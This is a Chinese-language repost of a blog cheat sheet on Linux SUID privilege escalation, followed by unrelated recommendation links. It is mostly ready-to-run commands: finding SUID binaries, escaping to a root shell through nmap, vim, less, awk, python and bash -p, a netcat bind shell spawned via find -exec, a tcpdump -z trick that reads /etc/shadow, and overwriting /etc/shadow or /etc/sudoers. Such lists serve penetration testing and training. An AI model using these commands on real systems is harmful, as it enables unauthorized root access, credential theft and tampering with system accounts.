SUID Privilege Escalation

2018 年 5 月 17 日 黑白之道


Linux提权中,可以用的SUID文件来提权,SUID的作用就是:让本来没有相应权限的用户运行这个程序时,可以访问没有权限访问的资源。通常可以使用一下命令来找有SUID标志位的文件:


1
2
3
find / -user root -perm -4000 -print 2> /dev/null
find / -perm -u=s - type f 2> /dev/null
find / -user root -perm -4000 - exec ls -ldb {} \;


例如nmap


1
2
ls -l /usr/bin/nmap
-rwsr-xr-x 1 root root 780676 2008-04-08 10:04 /usr/bin/nmap


存在s 则表示其存在SUID标志位,并拥有root的执行权限。以下是几类可用于提权的文件总结:


1.Nmap


老版本的nmap(2.02-5.21)有 interactive,是允许用户执行系统命令的。提权方式


1
nmap --interactive


之后执行命令:


1
2
3
nmap> !sh
sh-3.2 # whoami
root


msf中的模块为:


1
exploit /unix/local/setuid_nmap


2.Find


1
2
touch test
find test - exec whoami \;


如果服务器上装了nc,可以直接使用以下命令进行监听:


1
find test - exec netcat -lvp 5555 -e /bin/sh \;


之后进行连接:


1
netcat 192.168.1.100 5555


则可获取root shell



3.vim/vi


打开vim,按下ESC


1
2
: set shell= /bin/sh
:shell


则可执行命令



4.bash


1
2
3
bash -p
bash -3.2 # id
uid=1002(service) gid=1002(service) euid=0(root) groups =1002(service )


5.less


1
2
less /etc/passwd
! /bin/sh


6.more


1
2
more /home/pelle/myfile
! /bin/bash


7.cp


使用cp覆盖 /etc/shadow


8.mv


使用mv 覆盖 /etc/shadow 或者/etc/sudoers



9.awk


1
awk 'BEGIN {system("/bin/bash")}'

10.man


1
2
man passwd
! /bin/bash


11.python/perl/ruby/lua/etc


perl


1
exec "/bin/bash" ;


python


1
2
import os
os.system( "/bin/bash" )


12.tcpdump


1
2
3
echo $ 'id\ncat /etc/shadow' > /tmp/ . test
chmod +x /tmp/ . test
sudo tcpdump - ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/ . test -Z root


欢迎补充。


文章出处:Evi1cg's blog   

原文链接:https://evi1cg.me/archives/SUID_Privilege_Escalation.html

你可能喜欢

3306linux 批量提权工具

Linux提权?这四个脚本可以帮助你

Linux 提权常用命令集

登录查看更多
0

相关内容

Bourne Again Shell 是一个由 Brian Fox 于 1989 年为 GNU 项目编写的、用于替代 Bourne Shell (sh) 的 UNIX shell 程序。 en.wikipedia.org/wiki/B
【2020新书】实战R语言4,323页pdf
专知会员服务
98+阅读 · 2020年7月1日
《DeepGCNs: Making GCNs Go as Deep as CNNs》
专知会员服务
30+阅读 · 2019年10月17日
机器学习入门的经验与建议
专知会员服务
90+阅读 · 2019年10月10日
msf实现linux shell反弹
黑白之道
49+阅读 · 2019年8月16日
已删除
AI掘金志
7+阅读 · 2019年7月8日
用Now轻松部署无服务器Node应用程序
前端之巅
16+阅读 · 2019年6月19日
ISeeYou一款强大的社工工具
黑白之道
29+阅读 · 2019年5月17日
人脸检测库:libfacedetection
Python程序员
15+阅读 · 2019年3月22日
34个最优秀好用的Python开源框架
专知
9+阅读 · 2019年3月1日
用PyTorch做物体检测和追踪
AI研习社
12+阅读 · 2019年1月6日
Unsupervised Learning via Meta-Learning
CreateAMind
41+阅读 · 2019年1月3日
超级!超级!超级好用的视频标注工具
极市平台
8+阅读 · 2018年12月27日
微软发布Visual Studio Tools for AI
AI前线
4+阅读 · 2017年11月20日
Object Detection in 20 Years: A Survey
Arxiv
48+阅读 · 2019年5月13日
Learning to Importance Sample in Primary Sample Space
Arxiv
3+阅读 · 2018年6月14日
Arxiv
4+阅读 · 2018年5月24日
Arxiv
3+阅读 · 2018年3月22日
VIP会员
相关资讯
msf实现linux shell反弹
黑白之道
49+阅读 · 2019年8月16日
已删除
AI掘金志
7+阅读 · 2019年7月8日
用Now轻松部署无服务器Node应用程序
前端之巅
16+阅读 · 2019年6月19日
ISeeYou一款强大的社工工具
黑白之道
29+阅读 · 2019年5月17日
人脸检测库:libfacedetection
Python程序员
15+阅读 · 2019年3月22日
34个最优秀好用的Python开源框架
专知
9+阅读 · 2019年3月1日
用PyTorch做物体检测和追踪
AI研习社
12+阅读 · 2019年1月6日
Unsupervised Learning via Meta-Learning
CreateAMind
41+阅读 · 2019年1月3日
超级!超级!超级好用的视频标注工具
极市平台
8+阅读 · 2018年12月27日
微软发布Visual Studio Tools for AI
AI前线
4+阅读 · 2017年11月20日
相关论文
Top
微信扫码咨询专知VIP会员